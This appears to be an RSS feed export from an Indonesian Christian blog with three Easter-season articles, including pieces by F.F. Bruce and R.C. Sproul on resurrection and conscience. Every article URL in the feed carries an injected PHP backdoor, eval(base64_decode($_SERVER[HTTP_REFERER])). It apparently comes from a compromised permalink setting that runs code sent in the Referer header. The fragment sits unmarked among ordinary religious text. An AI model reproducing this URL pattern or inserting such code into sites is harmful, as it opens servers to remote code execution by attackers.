Untuk membangkitkan orang mati, dalam pengajaran orang Yahudi, Kristen adalah hak Allah. Menurut Perjanjian Baru, hak ini (seperti hak melewati penghakiman akhir adalah yang Bapa kerjakan bersama Anak. Hal ini ditetapkan bahwa Dia yang Allah telah bangkitkan dari antara orang mati. Haruslah melalui-Nya Allah akan membangkitkan yang lainnya. Pekerjaan Anak dari pendelegasian otoritas untuk membangkitkan orang mati dinyatakan dalam Injil Yohanes dalam dua tingkatan. “Aku berkata kepadamu: Sesungguhnya saatnya akan tiba dan sudah tiba, bahwa orang- orang mati akan mendengar suara Anak Allah, dan mereka yang mendengarnya, akan hidup.” (Yohanes 5:25). Ini berhubungan dengan berita pemberian hidup dari Injil yang melalui perintah Ilahi dalam nabi Perjanjian Lama (bdg. Yes. 55:3. Tetapi dalam konteks yang sama Yohanes mencatat Yesus melanjutkan, “Janganlah kamu heran akan hal itu, sebab saatnya akan tiba, bahwa semua orang yang di dalam kuburan akan mendengar suara-Nya, dan mereka yang telah berbuat baik akan keluar dan bangkit untuk hidup yang kekal, tetapi mereka yang telah berbuat jahat akan bangkit untuk dihukum.” (Yohanes 5:28,29).

Kebangkitan akhir dari orang mati - lebih khusus bagi mereka yang mati dengan percaya di dalam Dia - begitu erat hubungannya dalam Perjanjian Baru dengan kedatangan Kristus yang kedua kali. “Karena kewargaan kita adalah di dalam sorga, dan dari situ juga kita menantikan Tuhan Yesus Kristus sebagai Juruselamat, yang akan mengubah tubuh kita yang hina ini, sehingga serupa dengan tubuh-Nya yang mulia, menurut kuasa-Nya yang dapat menaklukkan segala sesuatu kepada diri-Nya.” (Filipi 3:20,21). Transformasi ini adalah mengambil bagian dalam kebangkitan Kristus sendiri; merupakan penggenapan proses yang diinagurasikan ketika Ia dibangkitkan dari antara orang mati. Dengan menghargai kebangkitan orang mati Paulus berkata dalam surat lain, “Tetapi tiap- tiap orang menurut urutannya: Kristus sebagai buah sulung; sesudah itu mereka yang menjadi milik-Nya pada waktu kedatangan-Nya.” (I Korintus 15:23). Dengan kata lain, kebangkitan umat Kristus adalah penuaian akhir yang diawali dengan kebangkitan-Nya - pewujudan dari buah sulung, yang mempersembahkan kepada Allah seluruh hasil tanaman.

Sejak kebangkitan Kristus, yang terlebih dahulu, menyediakan kebangkitan umat-Nya, tidak hanya berupa kebangkitan kerangka satu tubuh hidup yang diperbaharui seperti yang kita tahu sekarang, juga membagi peraturan baru mengenai keberadaan, hidup kekal, yang Kristus sediakan ketika Ia bangkit dari orang mati. Bersama dengan penghakiman akhir, maka kebangkitan akhir merupakan penyempurnaan dari sesuatu yang telah ada sebagai pengalaman. Mereka yang dalam Kristus hidup di sini dan sekarang dalam menikmati persekutuan dan berbagi dalam kuasa hidup kebangkitan-Nya. Kuasa ini menjadi baik bagi mereka melalui Roh Kristus, yang bekerja dalam umat-Nya. Tetapi Kuasa ini juga menyatakan kekekalan sebagai bagian dari kekekalan Kristus. Dalam prospek kebangkitan Yesus menurut Injil Yohanes mengatakan kepada para murid, “Tinggal sesaat lagi dan dunia tidak akan melihat Aku lagi, tetapi kamu melihat Aku, sebab Aku hidup dan kamupun, akan hidup.” (Yoh 14:19). Jika Kristus bangkit dari antara orang mati dan hidup untuk selamanya, mereka yang hidup dalam Dia dalam dunia tidak akan dipisahkan dari-Nya ketika keberadaan duniawi mereka berakhir. Bagi mereka, dalam kata Paulus, hidup bersama Kristus, itu lebih baik (Filipi 1:23). Karena tubuh menjadi media kita berkomunikasi dengan lingkungan kita, maka sarana komunikasi dalam lingkungan yang baru juga sekarang dipersiapkan, “Karena kami tahu, bahwa jika kemah tempat kediaman kita di bumi ini dibongkar, Allah telah menyediakan suatu tempat kediaman di sorga bagi kita, suatu tempat kediaman yang kekal, yang tidak dibuat oleh tangan manusia.” (II Korintus 5:1) sehingga tidak ada kesenjangan antara hidup fana dengan hidup kekal bagi mereka yang bersatu dengan Kristus melalui iman. Apapun bentuk yang mereka terima dengan kemuliaan pada kedatangan Kristus, itu hanya merupakan konfirmasi pada kenyataan yang telah menjadi milik mereka sebenarnya.

Orang-orang Kristen demikian, yang memandang kepada kedatangan Kristus, tidak melihat sedemikian banyak untuk mereka sendiri tetapi demi Ia dan dunia. Dalam dunia ini yang pernah membuang dan membunuh Yesus, juga mengakui-Nya sebagai Tuhan oleh ratusan juta orang. Pengakuan ini akan mencapai klimaks ketika, “Pemerintahan atas dunia dipegang oleh Tuhan kita dan Dia yang diurapi-Nya, dan Ia akan memerintah sebagai raja sampai selama-lamanya.” (Wahyu 11:15), ketika Yesus menjadi Pemerintah Hidup untuk semua.

Kedatangan Kristus Dan Ia Akan Datang

Tetapi klimaks ini tidak hanya menyangkut penerimaan semesta dari cara Yesus dan pengetahuan universal Dia sebagai Tuhan, juga menyangkut segala manifestasi pribadi Kristus. Pribadi Kristus yang ada harus dinyatakan dalam kepenuhan kemuliaan-Nya — yaitu kepenuhan kasih karunia dan kebenaran.

Satu kesulitan yang dirasa oleh banyak orang sekarang ketika mereka membaca Perjanjian Baru mengenai tema ini adalah penulis seringkali menggambarkan kedatangan final Kristus sudah dekat - jika tidak dalam masa hidup mereka sendiri. Tetapi mereka tidak membuat kepastian dogmatis mengenai waktunya, yang dapat dibuktikan kesalahannya dengan berjalannya waktu. Mereka tidak tahu kapan itu terjadi, dan tidak pura-pura bahwa mereka tahu. Maka, ketika waktu berjalan, perspektif mereka berubah, tetapi tidak doktrin atau pengharapan mereka. Ini menyatakan mereka lebih bijaksana daripada beberapa orang Kristen yang kemudian, yang dari waktu ke waktu dalam era Kristen menyatakan kepada publik bahwa Kristus akan datang lagi dalam tahun ini atau tahun itu (jika tidak hari ini atau hari itu) - hanya menyatakan kegagalan ramalan mereka.

Jika dalam Injil, Yohanes melaporkan Yesus berkata kepada murid-murid- Nya, “Aku akan datang kembali” maka Matius menyatakan Ia berkata setelah bangkit dari kematian, “Dan ketahuilah, Aku menyertai kamu senantiasa sampai kepada akhir zaman.” (Matius 28:20). Jika akhir waktu (suatu konsep yang sulit untuk kita mengerti) dihubungkan dengan kedatangan akhir, Ia tidak absen dari umatNya di sini dan sekarang. Kepercayaan bahwa Ia akan datang kembali dengan kemuliaan untuk menghakimi baik yang hidup dan yang mati tidak konflik dengan turun tangan-Nya dalam hidup manusia dalam masa antara kedatangan pertama dan kedua.

Sekarang adalah milik-Nya, karena Ia adalah

Yang Kekal dalam kesementaraan kita; tetapi masa depan juga milik-Nya. Dan karena itu adalah milikNya, itu menjadi milik mereka yang adalah milikNya: mereka dapat menyapa satu sama lain, “Saudaraku, saudariku, masa depan adalah milik kita!” Mereka kenal Dia sebagai “Kristus hidup kita; mereka kenal Dia juga sebagai Kristus Yesus, dasar pengharapan kita” (I Timotius 1:1).

Sumber:

Nama Majalah: Momentum

Edisi: 12/Juni 1991

Judul Artikel: Dia Yang Akan Datang

Penulis: F.F. Bruce

Halaman: 20-32

]]>
http://www.davidmanurung.com/blog/2009/03/30/dia-yang-akan-datang-paskah-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Dia Telah Bangkit - Paskah 3 http://www.davidmanurung.com/blog/2009/03/30/dia-telah-bangkit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/03/30/dia-telah-bangkit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 30 Mar 2009 07:37:42 +0000 david manurung http://www.davidmanurung.com/blog/?p=1344 Kebangkitan Kristus merupakan pusat dari pengajaran Injil keselamatan. Tanpa kebangkitan Kristus maka pengajaran kekristenan akan merupakan pengajaran filsafat hidup semata. Tanpa kebangkitan Kristus berarti tidak ada kemenangan atas maut yang merupakan upah dari dosa. (Rm 6:9,23)

Dia Telah Bangkit

Sebentar lagi kita akan merayakan hari Paskah yaitu hari kebangkitan Kristus Yesus. Paskah semula diperingati sebagai hari pembebasan bangsa Israel dari Mesir. Kemudian setelah Kristus bangkit dari kematian, Paskah menjadi berubah arti. Tetapi walaupun demikian keduanya mempunyai arti fungsional yang sama yakni siapa pun yang memiliki tanda darah domba pasti akan dilewati atau dibebaskan dari hukuman.

Bagi sebagian orang, kebangkitan Kristus merupakan suatu hal yang mustahil atau suatu kebohongan besar. Bahkan ada yang mengatakan bahwa sesungguhnya Kristus tidak mati di kayu salib (hanya pingsan). Ada juga yang mengatakan bahwa bukan Kristus yang mati di kayu salib tetapi Yudas Iskariot. Apapun yang mereka katakan, iman kita tetap menyatakan bahwa Kristus bangkit dari kematian.

Rasul Paulus bahkan mengatakan bahwa Kristus adalah yang sulung (awal) yang dibangkitkan dari orang mati (1 Kor 15:20). Tanpa kebangkitan Kristus maka sia-sialah pekabaran Injil dan iman kristiani (1 Kor 15:14). Jadi tidak heran jika ada pihak yang mencoba membuktikan bahwa Kristus tidak mati di kayu salib yang berarti juga bahwa Dia tidak bangkit.

Kematian Kristus di kayu salib bukanlah suatu peristiwa yang dirahasiakan tetapi suatu peristiwa yang disaksikan oleh banyak orang terutama pihak yang memusuhi Kristus dan menginginkan kematian-Nya antara lain kaum Farisi, pemimpin-pemimpin agama, dan tokoh-tokoh masyarakat. Semua membenci Kristus karena Dia bukan hanya memberi pengajaran tetapi juga memberi bukti yang tidak dapat dibantah.

Penyaliban Kristus bukanlah dilakukan dengan sembarang orang melainkan oleh tentara Roma dengan prosedur yang resmi sehingga tertutup kemungkinannya bahwa Dia (Yesus) ditukar dengan orang lain atau berada dalam keadaan pingsan pada saat diturunkan dari kayu salib. Karena sebelum tubuh-Nya diturunkan, Dia ditusuk lambung-Nya dengan lembing oleh tentara Roma. Darah bercampur air mengalir dari tubuh-Nya. Ini merupakan bukti adanya suatu kematian. (Yoh 19:34)

Kebangkitan Kristus sendiri bukan hanya diketahui oleh murid-murid-Nya saja, tetapi juga khalayak umum. Tercatat lebih dari lima ratus orang yang telah menyaksikannya. (1 Kor 15:4-8) Kebangkitan Kristus bukanlah suatu rekayasa karena ada yang mengatakan bahwa sesungguhnya Kristus tidak bangkit, tetapi murid-murid Kristus mencuri mayat-Nya dan mengatakan kabar bohong bahwa Dia sudah bangkit.

Pemikiran seperti di atas sebenarnya sudah dimiliki oleh orang yang memusuhi Kristus. Kaum Farisi dan kelompok anti Kristus telah mengantisipasinya dengan meminta gubernur Pilatus untuk mengamankan kubur Kristus karena mereka takut murid-murid Kristus mencuri mayat-Nya dan mengatakan bahwa Dia sudah bangkit. Pilatus kemudian memerintahkan pasukannya untuk menjaga kubur. (Mat 27:62-66)

Tetapi pada hari Minggu waktu fajar, seorang malaikat Tuhan turun dari langit, membuat gempa, menghampiri tutup kubur Kristus dan menggulingkannya. Pasukan penjaga gentar ketakutan dan menjadi seperti orang-orang mati. (Mat 28:1-4) Malaikat tersebut membawa berita bahwa Kristus telah bangkit. (Mat 28:5-6)

Arti Kebangkitan Kristus

Kebangkitan Kristus merupakan pusat dari pengajaran Injil keselamatan. Tanpa kebangkitan Kristus maka pengajaran kekristenan akan merupakan pengajaran filsafat hidup semata. Tanpa kebangkitan Kristus berarti tidak ada kemenangan atas maut yang merupakan upah dari dosa. (Rm 6:9,23)

Kebangkitan Kristus memberikan kita kekuasaan (otoritas) atas setan. (1 Kor 15:22-28; Kol 2:15). Kebangkitan Kristus juga memberi keyakinan bahwa perkataan Kristus dapat dipercaya ketika Dia mengatakan Akulah kebangkitan dan Hidup. (Yoh 11:25)

Di dunia ini tidak ada seorang pun yang dapat dipercaya jika dia menyatakan hal yang dinyatakan Kristus. Kristus menyatakan pernyataan-Nya kira-kira dua ribu tahun yang lalu dan sampai kini masih banyak orang yang percaya akan perkataan itu dan siap mati untuk itu. Jika Kristus itu pembohong maka tentunya ajaran-Nya akan sudah lenyap tidak lama setelah kematian-Nya.

Kebangkitan Kristus juga memberikan kita suatu pengharapan bahwa kita pun nanti akan bangkit dan tinggal bersama Dia di sorga. (Ef 2:6; 1 Tes 4:14)

Semoga kiranya Paskah kali ini memberikan kekuatan dan keyakinan pada kita bahwa kita ini lebih dari pe-menang. (2 Tim 1:12; 1 Yoh 5:5)

Selamat Paskah.

Salam kasih,

Deny S Pamudji

http://jakartaberdoa.net/

http://jakartaberdoa.blogspot.com/

]]>
http://www.davidmanurung.com/blog/2009/03/30/dia-telah-bangkit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Hati Nurani dan Moral http://www.davidmanurung.com/blog/2009/03/30/hati-nurani-dan-moral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/03/30/hati-nurani-dan-moral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 30 Mar 2009 07:27:37 +0000 david manurung http://www.davidmanurung.com/blog/?p=1341 Standar dari organ intern ini disebut “hati nurani”. Ada orang melukiskan suara intern yang samar-samar ini sebagai suara Allah di dalam diri manusia. Di dalam hati nurani manusia, yaitu tempat yang sangat tersembunyi terdapat keberadaan pribadi, karena ini bersifat tersembunyi sehingga kita sangat sulit mengenal fungsinya. Freud telah memasukkan psikologi ke dalam istana ilmiah sehingga manusia mulai menyelidiki alam bawah sadar, menggali lubang-lubang yang paling dalam di dalam pribadi manusia.

Hati Nurani dan Moral

Penulis : Dr. R.C. Sproul

Ketika kita harus memilih di dalam bidang moral maka nyatalah fungsi hati nurani sangat rumit. Hukum Allah memang tidak berubah untuk selamanya. Namun disamping taat kepada hukum-hukum ini kita juga perlu mengusahakan agar hukum-hukum ini mencapai keharmonisan dalam hati kita.

Standar dari organ intern ini disebut “hati nurani”. Ada orang melukiskan suara intern yang samar-samar ini sebagai suara Allah di dalam diri manusia. Di dalam hati nurani manusia, yaitu tempat yang sangat tersembunyi terdapat keberadaan pribadi, karena ini bersifat tersembunyi sehingga kita sangat sulit mengenal fungsinya. Freud telah memasukkan psikologi ke dalam istana ilmiah sehingga manusia mulai menyelidiki alam bawah sadar, menggali lubang-lubang yang paling dalam di dalam pribadi manusia.

Sehingga manusia takut dan kagum waktu menghadapi hati nurani. Apa yang dinyatakan oleh suara intern ini mungkin seperti komentar seorang psikolog sebagai “menemukan neraka.” Namun kita harus memandang hati nurani sebagai sesuatu yang bersifat surgawi, sesuatu yang berhubungan dengan Allah dan bukanlah organ yang berasal dari neraka. Mari kita membayangkan tokoh di dalam film karton, pada waktu ia diperhadapkan untuk memilih dalam bidang moral maka ada malaikat dan setan, yang masing-masing hinggap di kiri kanan bahunya. Keduanya berusaha manarik dia seperti menarik gergaji untuk memperoleh otak manusia yang malang ini. Hati nurani dapat merupakan suara dari surga dan juga dapat berasal dari neraka. Dia mungkin berbohong, juga mungkin mendorong kita mencapai kebenaran. Dua macam hal yang dapat keluar dari satu mulut. Jika bukan melakukan tuduhan maka ia melakukan pengampunan. Slogan Walt Disney yang terkenal: “Biarlah hati nuranimu memimpin engkau” sangat populer.

Namun ini paling banyak hanya bisa dipandang sebagai teologi untuk anak kecil. Sedangkan terhadap orang Kristen hati nurani bukanlah pengadilan tertinggi untuk memutuskan kelakukan yang benar. Hati nurani sangat penting tetapi tidak cukup sebagai standar, dia selalu berkemungkinan untuk menjadi bengkok dan salah memimpin. Di dalam Perjanjian Baru 31 kali menyebut tentang hati nurani sepenuhnya menyatakan kemungkinan terjadi perubahan hati nurani. Hati nurani juga mungkin telah digerogoti menjadi keropos atau karena kerap kali berdosa sehingga kebal. Yeremia melukiskan orang Israel dengan istilah “bermuka pelacur.” Ini disebabkan orang Israel terus menerus berdosa sehingga kehilangan perasaan malu di dalam hatinya. Mereka menegarkan tengkuk, membekukan hati, sehingga hati nurani mereka tidak berfungsi lagi. Demikian juga orang-orang yang anti masyarakat mungkin setelah membunuh manusia tetap tidak merasa menyesal dan hilanglah fungsi teguran hati nurani yang normal.

Meskipun hati nurani bukan hakim tertinggi di dalam prinsip moral, namun melakukan sesuatu yang melanggar hati nurani tetap suatu hal yang berbahaya. Ingatlah pada waktu Martin Luther di dalam sidang Worms menghadapi tekanan moral yang luar biasa besarnya dan gentar di tengah kepahitan yang optimal itu. Ada orang menganjurkan untuk menyerahkan iman, maka di antara jawabannya terdapat, “Hati nuraniku telah ditawan oleh Firman Allah.” Melakukan sesuatu yang melanggar hati nurani adalah tidak benar dan merupakan hal yang tidak aman dan berbahaya sekali. Begitu hidup Luther melukiskan dinamika emosi semacam ini pada waktu ia mempergunakan istilah “ditawan.” Hati nurani dapat bekerja secara penuh di dalam diri manusia. Pada saat manusia dipegang oleh suara hati nurani sehingga menghasilkan kekuatan maka dengan sendirinya timbul keberanian yang luarbiasa. Hati nurani yang ditawan oleh Firman Allah adalah hati nurani yang anggun dan berdinamika. “Bertindak melanggar hati nurani adalah tidak benar dan bahaya.” Benarkah kalimat Luther ini? Kita harus berhati-hati menjelajahinya sehingga dapat mencegah langkah-langkah yang dapat melukai jari kaki kita yang berjalan di tepi pisau cukur kriteria moral ini. Jikalau hati nurani mungkin disalahtafsirkan atau salah arah mengapa kita harus tidak berani bertindak melanggarnya? Apakah kita harus masuk ke dalam dosa karena mengikuti hati nurani? Kita berada di tengah-tengah kedua bahaya ini sehingga bergerak, maju maupun mundur. Jikalau kita dikatakan berdosa menurut hati nurani, perlu diingat meskipun sudah bertobat hati nurani tetap memerlukan Firman Tuhan untuk memberikan pimpinan yang benar. Namun jikalau kita bertindak melanggar hati nurani kita tetap telah melakukan dosa. Dosa ini mungkin tidak tergantung apa yang sudah kita perbuat tetapi tergantung fakta bahwa kita yang sudah mengetahui dengan jelas sesuatu yang jahat tetap terjun ke dalamnya, ini menyangkut prinsip Alkitab yang menyatakann “segala sesuatu yang tidak berdasarkan iman adalah dosa.” Misalnya (sekali lagi misalnya) ada orang diajar dan percaya bahwa memakai lipstick adalah berdosa tetapi ia tetap memakainya maka orang ini sudah berbuat dosa. Sebenarnya dosa bukan tergantung pada lipstick itu tetapi tergantung pada usahanya untuk melanggar perintah Allah.

Penguasaan terhadap hati nurani merupakan semacam kekuatan dengan daya pemusnahan di dalam gereja. Orang legalis selalu menitikberatkan penguasaan dosa, sedangkan orang antilegalis selalu secara diam-diam menyangkal dosa. Hati nurani adalah semacam alat yang rumit yang harus kita hargai. Jikalau seseorang mau mempengaruhi hati nurani orang lain maka ia menghadapi tugas berat, ia harus memelihara kepribadian orang lain menjadi sempurna seperti pada saat diciptakan Allah. Jikalau kita mempersalahkan orang lain dengan penghakiman yang bersifat memaksa dan tidak benar maka kita mengakibatkan tetangga kita terikat kaki tangannya berarti kita memberikan rantai kepada mereka yang sudah dibebaskan Allah. Tetapi jikalau kita secara paksa mengakibatkan orang berdosa, menganggap diri tidak bersalah maka kita akan mendorong mereka lebih terjerumus ke dalam dosa. Dan akan menerima hukum Allah yang seharusnya dapat dihindarkan.

http://artikel.sabda.org/hati_nurani_dan_moral

]]>
http://www.davidmanurung.com/blog/2009/03/30/hati-nurani-dan-moral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/